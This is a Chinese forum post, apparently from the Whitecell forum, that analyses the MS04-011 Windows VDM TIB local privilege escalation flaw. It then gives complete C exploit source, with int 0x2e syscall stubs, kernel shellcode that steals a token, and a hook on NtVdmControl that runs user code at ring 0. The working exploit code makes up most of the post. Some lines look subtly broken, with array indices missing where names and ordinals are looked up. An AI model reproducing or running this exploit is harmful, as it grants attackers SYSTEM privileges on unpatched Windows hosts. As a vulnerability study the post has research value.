信息来源:Whitecell技术论坛(
www.whitecell.com)
文章作者:SoBeIT
这个漏洞发生于内核处理VDM(Virtual DOS Maching)的过程中。VDM是微软为了兼容老式的16位MS-DOS程序而存在于Windows中的一个子系统,运行于V86模式下,模拟16位实模式环境。它由三个主要部分组成:
1、提供DOS环境模拟的代码,包括在系统目录下的ntdos*.sys和ntio*.sys等文件,并向虚拟机监控进程提交请求;
2、一个是在用户态的虚拟机监控进程ntvdm.exe,负责处理虚拟机里的绝大多数事件;
3、一个是内核(ntoskrnl.exe)中的部分,包括由控制进程调用的系统调用接口NtVdmControl及下层具体实现功能代码,负责DOS程序的初始化、执行、查询和延迟中断、查询文件等。和两个异常处理程序:第0x6号无效操作码异常处理程序和第0xd号一般保护错误异常处理程序,前者负责响应DOS环境模拟代码的请求并分派到监控进程中,后者处理DOS程序中的直接IN/OUT的IO,并分派到控制进程中。但有少数例外,就是DOS模拟代码提交的FastRead和FastWrite请求并不分派到控制进程中,而是由内核直接完成。
IOPL, I/O Privilege Level,指定了当前哪个权限级别可以执行特权指令,默认为0,也就是RING0才能执行特权指令。在V86下的特权指令完全与保护模式下的特权指令完全不同,它包括:CLI、 STI、 PUSHF、 POPF、 INT n和IRET,在运因为行V86模式时CPL总是为3,所以当IOPL小于3时,执行了以上任何一条特权指令都会引发第0xd号一般保护性异常,Windows相关异常处理程序是KiTrap0D。
监控进程ntvdm.exe通过调用NtVdmControl(VdmInitialize, pServiceData)来初始化虚拟机,在内部会最终调用VdmpInitialize函数,包括将物理内存的第一个页包含实模式下的代码拷贝到虚拟地址空间中的第一个页、映射BIOS代码、初始化VdmObject结构等。
漏洞发生于如果在系统调用VdmpIntialize之前就通过执行ZwContinue函数切换进V86模式,因为还没有调用VdmpInitialize函数,这时监控进程ntvdm.exe的EPROCESS结构中对应的VdmObject为0。如果事先分配了从0开始的地址,就可以控制VdmTib指针为任意地址,里面包含了两个CONTEXT结构,一个CONTEXT结构保存V86模式下的环境,在VdmTib+0xcd0处;一个CONTEXT结构保存监控进程ntvdm.exe主线程的环境,在VdmTib+0xa04处。VdmSwapContexts函数中会把当前V86环境保存到VdmTib+0xcd0的CONTEXT结构里,并把VdmTib+0xa04的CONTEXT结构的数据复制到堆栈中的TRAP_FRAME结构里,准备返回KiTrap0D后恢复为该环境。因为V86环境是由我们控制的,且VdmTib可以指向任意地址,所以可以向任意地址写入内容。
通过调用ZwAllocateVirtualMemory系统调用(调用VirtualAllocEx函数则不行)可以分配从0开始的虚拟内存,虽然不可能直接指定从0开始分配,但可以设置BaseAddress为0到4095之间任何一个地址,就会按页对齐分配从0开始的内存,且AllocationType必须为MEM_COMMIT(而不是往常的MEM_COMMIT | MEM_RESERVE)。
用来引发一般保护性异常的特权指令我选择了sti,系统对这个指令的处理过程相对简单点,又能达到我们目的。不过要让这个指令在V86模式下触发一般保护性异常,除了要设置EFLAGS里的VM位外还要设置VIP位。还有处理过程要注意VdmFixedStateLinear,该变量保存了一些有关VDM的状态,具体地址在0x1000以内,也就是第一个页里。
虽然可以覆盖任意地址,但是因为会把VdmTib+0xa04的CONTEXT结构的数据复制到堆栈中的TRAP_FRAME结构里并最后返回到该环境,且VdmTib+0xa04的CONTEXT结构是我们所无法控制的,所以这样的复制是非常脆弱的,应当尽可能减少复制的次数。且因为VdmSwapContexts实际上只会复制CONTEXT结构中的一部分,不可能做到大数据量的复制。由以上两点限制,选择HOOK内核中一个正常情况下系统不会调用的系统调用函数如NtVdmControl并触发个不会引起系统崩溃的异常来返回,这个返回可以利用前面复制到TRAP_FRAME的那个VdmTib+0xa04的CONTEXT结构,只要保证TRAP_FRAME里的EFlags置位了VM位,也就是0x20000,就能让系统在KiServiceExit返回用户态时产生异常(因为CS、EIP全是非正常值)自动终止ntvdm.exe并恢复正常执行。只用复制几个字节,让该函数跳到一个用户态地址(也就是exploit进程里的提权代码的地址),然后回到exploit进程里执行该系统调用,既可在RING0权限下执行用户态提权代码。提权代码需要把前面被HOOK的函数恢复回原来的代码,以恢复系统的正常。
exploit
复制内容到剪贴板
代码:
/*
MS04-011 Windows VDM TIB Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt
Main file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 English
Usage:ms04-011(3).exe
*/
#include <stdio.h>
#include <windows.h>
#define NTSTATUS int
#define ProcessBasicInformation 0
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
__declspec(naked)
NTSTATUS
NTAPI
ZwAllocateVirtualMemory(
HANDLE hProcess,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect)
{
__asm
{
mov eax, 0x10
lea edx, dword ptr [esp+4]
int 0x2e
ret 0x18
}
}
__declspec(naked)
NTSTATUS
NTAPI
ZwQueryInformationProcess(
HANDLE ProcessHandle,
ULONG InformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength)
{
__asm
{
mov eax, 0x86
lea edx, dword ptr [esp+4]
int 0x2e
ret 0x14
}
}
__declspec(naked)
NTSTATUS
NTAPI
ZwVdmControl(
ULONG ControlCode,
PVOID pControlData)
{
__asm
{
mov eax, 0xe8
lea edx, dword ptr [esp+4]
int 0x2e
ret 0x8
}
}
unsigned char kfunctions[64][64] =
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{""},
};
unsigned char shellcode[] =
"\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
"\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
"\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
"\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
"\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
"\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
"\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
"\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
"\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
"\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
"\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
"\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
"\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
"\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"
"\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";
unsigned char IntoV86[] =
"\x90\x6a\x00\x68\x90\x90\x90\x90\x8b\xd4\xb8\x1c\x00\x00\x00\xcd"
"\x2e\x83\xc4\x08\xeb\xea";
VOID ErrorQuit(char *msg)
{
printf("%s\n", msg);
ExitProcess(0);
}
ULONG ComputeHash(char *ch)
{
ULONG ret = 0;
while(*ch)
{
ret = ((ret << 25) | (ret >> 7)) + *ch++;
}
return ret;
}
int main(int argc, char *argv[])
{
HANDLE hFile, hFileMap;
ULONG buf[64], Size, FileSize, FuncAddr, WriteAddr, i, j, k, len, EflagsAddr, Reg;
USHORT Index;
PULONG pTemp, pNamesArray, pFunctionsArray, pShellcode;
PUSHORT pOrdinals;
PIMAGE_NT_HEADERS pHeader;
PIMAGE_EXPORT_DIRECTORY pExport;
STARTUPINFO si;
PROCESS_INFORMATION pi;
PROCESS_BASIC_INFORMATION pbi;
CONTEXT Context, *pContext, *pV86Context;
PUCHAR ptr, pVdmObject, pBuffer, pBase, pName, pRestoreBuffer;
NTSTATUS Status;
printf("\n MS04-011 Windows VDM TIB Local Privilege Escalation Vulnerability Exploit \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s \n\n", argv[0]);
ExitProcess(0);
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
ZeroMemory(&Context, sizeof(CONTEXT));
pBuffer = malloc(0x3000);
pVdmObject = malloc(0x200);
pRestoreBuffer = malloc(0x200);
pV86Context = malloc(sizeof(CONTEXT));
if((pVdmObject == NULL) || (pBuffer == NULL) || (pV86Context == NULL))
ErrorQuit("malloc failed.\n");
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");
if(!GetSystemDirectory(pBuffer, 256))
ErrorQuit("GetSystemDirectory failed.\n");
strcat(pBuffer, "\\ntoskrnl.exe");
hFile = CreateFile(pBuffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE)
ErrorQuit("CreateFile failed.\n");
if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
ErrorQuit("GetFileSize failed.\n");
if((hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, FileSize + sizeof(char), NULL)) == NULL)
ErrorQuit("CreateFileMapping failed.\n");
if((pBase = MapViewOfFile(hFileMap, FILE_ALL_ACCESS, 0, 0, 0)) == NULL)
ErrorQuit("MapViewOfFile failed.\n");
pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
pNamesArray = (PULONG)(pBase + pExport->AddressOfNames);
pFunctionsArray = (PULONG)(pBase + pExport->AddressOfFunctions);
pOrdinals = (PUSHORT)(pBase + pExport->AddressOfNameOrdinals);
len = strlen("NtVdmControl");
for(i = 0; i < pExport->NumberOfNames; i++)
{
pName = pBase + pNamesArray;
if(!strncmp(pName, "NtVdmControl", len))
break;
}
if(i > pExport->NumberOfFunctions)
ErrorQuit("Some error occured.\n");
Index = pOrdinals;
FuncAddr = pFunctionsArray[Index] + 0x80400000;
WriteAddr = FuncAddr + 0x10;
EflagsAddr = WriteAddr - 0x80400000 + (ULONG)pBase - 0xcd0 + 0xa04 + (ULONG)(&(((PCONTEXT)0)->EFlags)) - ((ULONG)(&(((PCONTEXT)0)->Eax)));
for(Reg = 0; Reg < 10; Reg++)
{
printf("EFlags Address:%x: ", EflagsAddr - (ULONG)pBase + 0x80400000);
printf("%x\n", *(PULONG)(EflagsAddr - Reg * 4));
if(*(PULONG)(EflagsAddr - Reg * 4) & 0x20000)
break;
}
memcpy(pRestoreBuffer, pBase + pFunctionsArray[Index] - 0x100, 0x200);
printf("%s Address:%x\n", "NtVdmControl", FuncAddr);
UnmapViewOfFile(pBase);
CloseHandle(hFileMap);
CloseHandle(hFile);
printf("Now luanch the ntvdm.exe.\n");
if(!CreateProcess(NULL, "command.com", NULL, NULL, TRUE, CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &si, &pi))
ErrorQuit("CreateProcess failed.\n");
pBase = (PUCHAR)0x1;
Size = 0x3000;
Status = ZwAllocateVirtualMemory(pi.hProcess, &pBase, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(Status != 0)
ErrorQuit("ZwAllocateVirtualMemroy failed.\n");
*(PULONG)(pVdmObject + 0x98) = WriteAddr - (ULONG)(&(((PCONTEXT)0)->Eax)) - Reg * 4 - 0xcd0;
if(!WriteProcessMemory(pi.hProcess, (PVOID)0x0, pVdmObject, 0x200, NULL))
ErrorQuit("WriteProcessMemory failed.\n");
free(pVdmObject);
memset(pBuffer, 0x22, 0x3000);
pBuffer[0x1000] = 0xfb;
pBuffer[0x1001] = 0xfb;
if(!WriteProcessMemory(pi.hProcess, (PVOID)0x200, pBuffer+0x200, 0x3000, NULL))
ErrorQuit("WriteProcessMemory failed.\n");
free(pBuffer);
Context.ContextFlags = CONTEXT_FULL;
if(!GetThreadContext(pi.hThread, &Context))
ErrorQuit("GetThreadContext failed.\n");
pShellcode = (PULONG)shellcode;
for(k = 0; pShellcode[k++] != 0x90cccc90; )
;
for(j = 0; kfunctions[j][0] != '\x0'; j++)
buf[j] = ComputeHash(kfunctions[j]);
buf[j++] = pbi.InheritedFromUniqueProcessId;
buf[j++] = (ULONG)pRestoreBuffer;
buf[j++] = FuncAddr - 0x100;
buf[j++] = 0x200;
memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
pTemp = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pTemp == NULL)
ErrorQuit("VirtualAlloc failed.\n");
memcpy(pTemp, pShellcode, 0x1000);
memset(pV86Context, 0x90, sizeof(CONTEXT));
pV86Context->ContextFlags = CONTEXT_FULL;
pV86Context->EFlags = 0x120002;
pV86Context->SegCs = ((ULONG)0x1000 & 0xffffff00) >> 4;
pV86Context->Eip = (ULONG)0x1000 & 0xff;
pV86Context->SegSs = ((ULONG)0x1000 & 0xfffff000) >> 4;;
pV86Context->Esp = (ULONG)0x1000 & 0xfff;
pV86Context->SegDs = pV86Context->SegSs;
pV86Context->SegFs = pV86Context->SegSs;
pV86Context->SegEs = pV86Context->SegSs;
pV86Context->SegDs = pV86Context->SegSs;
ptr = (PUCHAR)&(pV86Context->Eax) + Reg * 4;
*ptr++ = 0xe9;
*(PULONG)ptr = (ULONG)pTemp - WriteAddr - 5;
pContext = VirtualAllocEx(pi.hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pContext == NULL)
ErrorQuit("VirtualAllocEx failed.\n");
if(!WriteProcessMemory(pi.hProcess, pContext, pV86Context, 0x1000, NULL))
ErrorQuit("WriteProcessMemory failed.\n");
for(ptr = IntoV86; *(PULONG)ptr != 0x90909090; ptr++)
;
*(PULONG)ptr = (ULONG)pContext;
pTemp = VirtualAllocEx(pi.hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(pTemp == NULL)
ErrorQuit("VirtualAllocEx failed.\n");
if(!WriteProcessMemory(pi.hProcess, pTemp, IntoV86, 0x1000, NULL))
ErrorQuit("WriteProcessMemory failed.\n");
Context.Eip = (ULONG)pTemp;
if(!SetThreadContext(pi.hThread, &Context))
ErrorQuit("SetThreadContext failed.\n");
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, INFINITE);
printf("ntvdm.exe terminated, now ready to run the exploit code.\n");
ZwVdmControl(0, NULL);
printf("Exploit finished.\n");
}